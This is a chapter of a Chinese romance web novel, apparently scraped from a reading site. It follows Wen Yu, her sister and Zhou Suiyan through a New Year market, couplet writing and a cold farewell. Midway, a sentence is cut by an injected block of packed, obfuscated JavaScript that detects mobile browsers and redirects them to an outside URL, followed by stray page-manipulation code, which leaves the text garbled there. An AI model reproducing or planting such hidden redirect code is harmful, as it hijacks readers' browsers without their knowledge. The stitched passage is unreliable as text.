晨光已然熹微,街上人头攒动,拥挤到找一个停车位都费劲。
温妤坐在副驾驶,指路让周遂砚将车停在一所幼儿园的旁边。现在小孩子们都放寒假了,这个位置不仅离集市近,还免费。
温楠背上毛茸茸的斜挎包,利落下车。风吹跑刘海,她立马蹦跶上前挽住温妤的胳膊,将脸埋进去说:“早餐吃啥呢?”
“不知道。”温妤确实不知道,集市的早餐大多为摆摊,品种多样,看都看不过来。
温楠没招了,转头去问周遂砚:“姐夫,我们早餐吃啥呢?”
温妤用一种格外嫌弃的眼神斜睨她:“这一声声姐夫叫的,比我这个亲姐还要加倍亲。”可当这话一出,她又后悔了,有点微妙又有点奇怪。
温楠在玩帽子上耷拉下来的小毛球,好笑道:“我哪有,明明是因为你说不知道,我才问姐夫的好吧。”
温妤盯住她细瞧,光打在她脸上,明显有回春的迹象,整体看上去没那么老成和呆滞,也更爱开口讲话,看来找的心理医生效果还不错。
周遂砚兜里的手机持续震动,他有些心不在焉地说:“一会看看。”
温妤不喜欢他那模棱两可的答案,摆明了没有走心,她的语气莫名不太好:“你要是忙的话先回去吧,其实也就那样,没什么好逛的。”
他放在兜里的手暗暗按熄手机震动,侧过脸,唇角勾了勾,“想吃你们这的特产。”
这里的烟火气息扑面而来,对面好长一条早点过道,摊位后面有很多桌子和塑料板凳。大爷大妈们一边聊八卦,一边吃早餐,其乐融融,一片祥和。
温妤带他来了一家生意最火爆的摊位,这是她们家乡出了名的早餐铺,手工肉丸和薯粉都是纯手工制作,假一赔十。
摊位的王阿姨见到温妤就说:“哎呦,你都好久没来我这做生意了,学校放寒假啦?”她转而瞧着眼前的男人面生,好奇心驱使,偷摸拉着温妤小声问:“新找的男朋友?”
稍微认识温妤的人都知道,她和贺君珩青梅竹马两小无猜。王阿姨能问出这种话,温妤断定大家已经知晓她和贺君珩分手的事,应该是贺母这个大嘴巴子传出去的,指不定背后说成啥样了。
温妤没接话,只说:“要三份大碗混搭的薯粉和肉丸,中等辣度,都要葱花。”她继而又拿了油条和驴打滚,提前结了帐。
大概等待七八分钟,早餐上齐了。
周遂砚拆开三双一次性筷子,两两筷子间相互摩擦,剔除上面扎嘴的毛刺,一人一双递过去。
温楠被喷薄而出的汤汁味香迷糊了,接过筷子,开始狼吞虎咽。她吃完碗里的还嘴馋,知会一声后跑出去别的摊位觅食了。
温妤吃饭速度很慢,碗里的薯粉还有一半,她不疾不徐地瞥向周遂砚碗里,只剩下汤汁和飘浮的肉沫,看来挺合他的胃口。
周遂砚照常额外配了杯豆浆,等她吃完,他也刚好喝完。
——
周遂砚裹紧外套,跟着带路的温妤钻进人潮,这是他第一次见识到年集这回事。
卖冻鱼的大叔穿件军大衣蹲在铁桶后,冻红的手抓起条十斤重的胖头鱼往秤上一扔,塑料袋在寒风里发出哗啦声响;糖画摊子前,老人手腕轻转,金黄糖浆在青石板上游走,转眼就变出条摇头摆尾的糖龙。
好生热闹,年味也很足。
“要不要尝尝这个?”周遂砚突然拽住温妤,视线落在前面那个手里举着串裹满芝麻的糖球的小女孩身上。
温妤也看向那串糖球,她还记得小时候偶得机会和温母去上街,因为馋别的小孩手里的糖球,在人潮涌动的大街上被温母揪着耳朵一顿破口大骂。
她微微转头看了眼周围的参照物,好像就是现在站着的这个位置,让人当猴观看。
就在她陷入回忆的间隙,周遂砚已经买了串糖球回来,“不说话权当你默认了。”
他还是那么霸道,不容置喙。
温妤咬下去,甜汁混着山楂的酸在舌尖爆开,她不禁鼻子也跟着酸涩起来,生怕眼泪掉下来,于是转移话题道:“不知道我妹跑哪里去了。”
周遂砚文明礼让挺着大肚子的孕妇,见她皱眉,“打个电话问问吧,临近年关,人多眼杂。”
而此刻的温楠,正站在年货摊子面前看人写对联,她在电话里向温妤说明具体方位,最后还不忘说一句:“我这不是给你们俩留私人空间嘛。”
温妤和周遂砚顺着温楠的方位靠近年货摊子,一来便看见穿花棉袄的大妈正在和摊主理论。
“你这福字纸太薄,去年我家贴的,还没到正月十五就被风吹破了。”
摊主举起一张烫金福字晃了晃:“大姐您放心,我们这是三层加厚辐射膜,别说刮风,下冰雹都不带怕的!”
话音刚落,温楠感觉到有人在戳自己的后背,她不乐意地回头,看清是自己姐姐后霎时恢复笑容:“姐,我们也买点窗花回去贴吧。”
要说起家里贴窗花,还是温爷爷在世的时候家里才有这项活动,他写得一手漂亮字,每年的窗花和对联都由他亲手提笔。
温妤想想也该让死气沉沉的家里多几抹鲜艳的颜色了,点点头说:“挑几张你喜欢的吧。”
温楠挑挑选选,拿了几张十字如意海棠纹和柿蒂纹形状的窗花,吃着碗里的看着锅里的,蠢蠢欲动道:“这个对联和福字还能自己写诶。”
她对自己的字很有自知之明,于是把目光放在温妤身上,用眼神示意,想让温妤来写。
温妤连忙拒绝道:“别看我,我字不好看,而且我也不会写毛笔字。”
摊主刚收完前一个客户的钱,喜笑颜开道:“我这边也可以代写。”他将晾干的几幅对联摊开,“你们看看这种字体满不满意,代写的话费用另收。”
温妤短暂地凝视红纸黑字,不丑,但也谈不上好看。商品交易没达到她心里的那把秤,花钱就不太乐意了。
“算了吧。”
温楠不死心道:“家里这么多年都没贴过对联了,我们就买一对好不好?”
摊主用精明锐利的眼神打量温妤:“你看这妹子挺想要的,过年贴对联也喜庆,亏不了一点啊。”
温妤完全能够支付这笔费用,可货不等价,她又向来没有注重情绪价值的意识,此时此刻一点都将就不了。
乞丐第一步是翻找垃圾桶想要吃饱,而不是饿死也要换一首诗,来达到所谓的灵魂共鸣。
周遂砚忽然开口问摊主:“如果是我们自己写的话,不需要收取额外的费用吧。”
温妤微微有些茫然,又有些惊讶,她原以为他会直接大手一挥说不用找零钱的。
摊主今日赚得盆满钵满,于是便不在意这一星半点的,“我们也是小本生意,当卖你们一个人情了。”生意人,说尽漂亮话,只为给谋利争取一个长远的机会。
周遂砚站在方桌前,袖口挽到小臂,露出的手腕骨节分明。他先取过一支兼毫毛笔,在清水碗里轻轻涮了涮,侧目问:“要写哪副?”
“你选吧。”温妤懒洋洋地又把问题抛回给他。
他抬眼扫过墙上的春联集锦:“就写欢天喜地度佳节,张灯结彩迎新春吧。”紧接着笔锋遇水渐次展开,像朵骤然绽放的墨色莲花。
温妤屏住呼吸,见他手腕轻悬,笔尖在红纸上方顿了顿,随即落笔。墨色在纸上晕开的瞬间,她霎时想起书法课上老师说的力透纸背。
他的字确实有这种魔力,横画起笔藏锋,收笔时带着细微的飞白,就像现在写的春字,长捺舒展如羽翼,整体藏着说不尽的妥帖。
周遂砚写横批的时候温妤伸手想碰,被他拨开:“小心蹭花,墨还没干。”他指尖沾着点墨痕,不小心印在她有纹身的手背上,变成了蛇吐墨梅。
结束后,他把笔挂回笔山,抽出纸巾将自己的手指一根根擦拭干净。
弹指之间,围住的人群突然沸腾。
“小伙子字写得真不错嘞,能帮我写一副对联吗?”
“还有我,我这有三副对联。”
“还有我,还有我。”
他们大多数都是没上过学的,却也能看出字体的好坏,趋之若鹜地想让自己的对联锦上添花。
温妤露出狡黠的神情,毫不犹豫地把周遂砚给卖了,“可以可以,上联十块钱,下联也是十块钱,横批五块钱。”她真是去哪都忘不了钻赚钱的空子。
周遂砚气笑了,默许她的财迷属性。
一共花了好几个小时,写了整整二十副对联,净赚五百块,这钱最后全部进了温楠那个毛茸茸的斜挎包里。
温妤说是赏她的零花钱。
人群散去,拍打过来的空气都是甜的。周遂砚正活络酸胀的手臂,不料一个大妈打道回府,手里挂着个显眼的红塑料袋,塞他怀里说:“这百年好合的十字绣送你俩了,等你们结婚的时候挂新房,来年生个大胖娃娃。”
温妤有些不知所措,她没想过这么早结婚,也没想过要孩子,更何况眼前之人还是周遂砚,那更不可能了。
无论是人生阅历还是家境,都是云泥之别。她想过,等这座海市蜃楼坍塌了,就回归原本寡淡无味的生活。
——
暮色漫上来,盖住整个天空。
温妤透过挡风玻璃,远远瞧见温奶奶戴着毛线帽子,坐在院子门口朝路口的方向张望。她火急火燎跳下车,酸涩道:“这么冷的天,怎么坐在这里啊?”
温奶奶挣扎着起身:“我猜你们快回来了。”她还掀开难翻的衣角说:“我身上贴了暖宝宝,不冷。”
温妤真是拿她这个老小孩没办法。
温奶奶看向周遂砚,小心翼翼道:“我们这边的小集市还可以吧。”
温妤不喜欢温奶奶对待周遂砚的态度,总有种把自己放在低位的姿态,去刻意讨好他,尽管知道奶奶所做的一切都是为了自己好。
周遂砚随和道:“挺有意思的。”
“奶奶,我们今天买了好多东西,你快看。”温
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16691326|180393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
楠拎着的袋子撑得鼓鼓囊囊,里面有她精心挑的窗花、周遂砚写的对联,还有那副被大妈硬塞进来的百年好合十字绣。
温楠小嘴不停地跟温奶奶念叨今日的见闻,没一会儿便搀扶着她回屋,把温妤和周遂砚两人甩在身后。
茫茫夜色里,温妤又听见周遂砚的手机来电铃声,还有他毫无情绪地回应对面说今晚回去。
她站在风中,心情被风吹得摇摆不定,七零八落。
温楠发现两人还没进来,加大音量朝外头喊:“姐,姐夫,快来贴对联和窗花!”
周遂砚循着声音看过去,和电话里的人说:“我这边还有事,先挂了。”
等走近,温妤发现温楠还在捣鼓那些小玩意儿,她站定,轻声道:“明天再来贴吧,现在很晚了。”实则她不想耽误周遂砚的时间。
温楠一边打蝴蝶结,一边很认真地说:“打铁要趁热,明天肯定达不到当下的期待感。”她见姐姐脸上没有半分松动,补充说:“反正我们闲着也是闲着,何况现在时间还早。”
冬天只是外面的天色暗得快,指针现在还没有拨到七点。
温奶奶端着一个陶碗,里面装着刚洗好的冬枣,“妹妹要贴随她去咯。”
温妤执拗不过,真是不是一家人不进一家门。
门的两边朝里敞开,刚好光线很足。温妤把下午买的半卷胶带从袋子里掏出来。
她看周遂砚举着横批在门上比对,仰着脖子喊:“再往左边高一点。”
他左手捏着胶带边缘,右手举横批的姿势像举着什么易碎品。风卷着湿气刮过,红纸边角突然打在他的手背上,胶带啪嗒掉在地上。
温妤弯腰捡胶带,阴阳道:“没贴过对联?”
周遂砚低头看他,“贴是贴过,就是你这指挥比我贴还累,往左还是往右?”
“别动!”她按住他举着横批的手,指尖在他手背上压出红印,“就这个位置。”
胶带撕拉时发出滋滋声响,她听见他在头顶轻笑,“刚才还说左,现在又说就这个位置,你的嘴变得比天气预报还快。”
温妤灵光一闪,报复性将胶带贴在他指骨上,旋即招牌死亡微笑。
温楠刚找米糊回来,轻咳了两声,闹出点死动静。
周遂砚岿然不动,温妤慌忙抽回还贴在他手背上的手,横批已经歪了半寸。
温楠捣碎搅拌米糊时,脸上的笑容就没下来过,“我什么都没有看见喔。”此地无银三百两。
对联在门框两侧贴妥,最后贴门心时,温楠执意要贴那对福字倒着的小斗方。温妤蹲在门边涂米糊,又把福字往门板上按,拇指在金粉字中心按出个浅窝。
“小时候爷爷说过,倒贴福字要按三下,福气才能扎根。”她说话时,睫毛在眼下投出小扇子似的影。
周遂砚一声不响地盯着她的睫毛看,很长,很浓密,也很卷翘。
看着眼前的福字,温妤其实挺难过的。很久很久都没感受过年味了,抓住热闹和幸福的瞬间,她更害怕的是它们消失所带来的落差感。
温楠捂着冻红的耳朵,又哈着气给自己暖手,“再把窗花贴完就完事了。”
话音刚落不过瞬息,周遂砚放在凳子上的手机又响了,铃声如同催命鬼一样不请自来。
温妤的内心隐隐有些失落。
果然热闹和幸福都是不属于自己的。
不知道电话那头说了什么,周遂砚眉宇间涌现不悦,回答说:“现在回来。”
她知道,他又要离开了。
温奶奶下完米,切好菜,进门听见周遂砚说要走,加快脚步上前说:“很快就吃饭了。”
他穿好外套,“我有事得马上赶回去。”
温妤不知道他口中的有事到底是什么事,她无权过问,他也从来不会主动告诉她。
“怪我,动作太磨蹭了。”温奶奶有些自责,见周遂砚就要走,推着温妤向前说:囡囡,你快去送送。”
引擎发动的声音打破了安静,车头灯的光柱刺破夜色,在凹凸不平的路边上投出两道长长的光带。
车窗缓缓降下,露出周遂砚那张周正的脸。他扭头看向立在距离自己一米远的温妤,她缩着脖子,被风吹得有些摇摇欲坠。
这一刻他是动了恻隐之心的,但和外公去拜访的那位故人,对他在青盏剧院的股东候选大有裨益。外公在电话里也一再提醒,对方的时间很难约,错过了明天,基本就没机会了。
理智占尽上风,他开口说:“走了。”
哪怕他的声音很低,也没什么温度,在寂静的夜色里温妤还是可以听得很清楚。她站在原地没动,只是微微点了一下脑袋。太微小了,在他看来几乎没有回应。
车转弯时,尾灯晃了两下,犹如两颗快要熄灭的星。直到那点红光彻底消失在路口拐角,温妤才转身低着头往回走。
风却更冷了。
她那句快到嘴边的注意安全,归隐进难耐的冷空气里,尔后消散不见。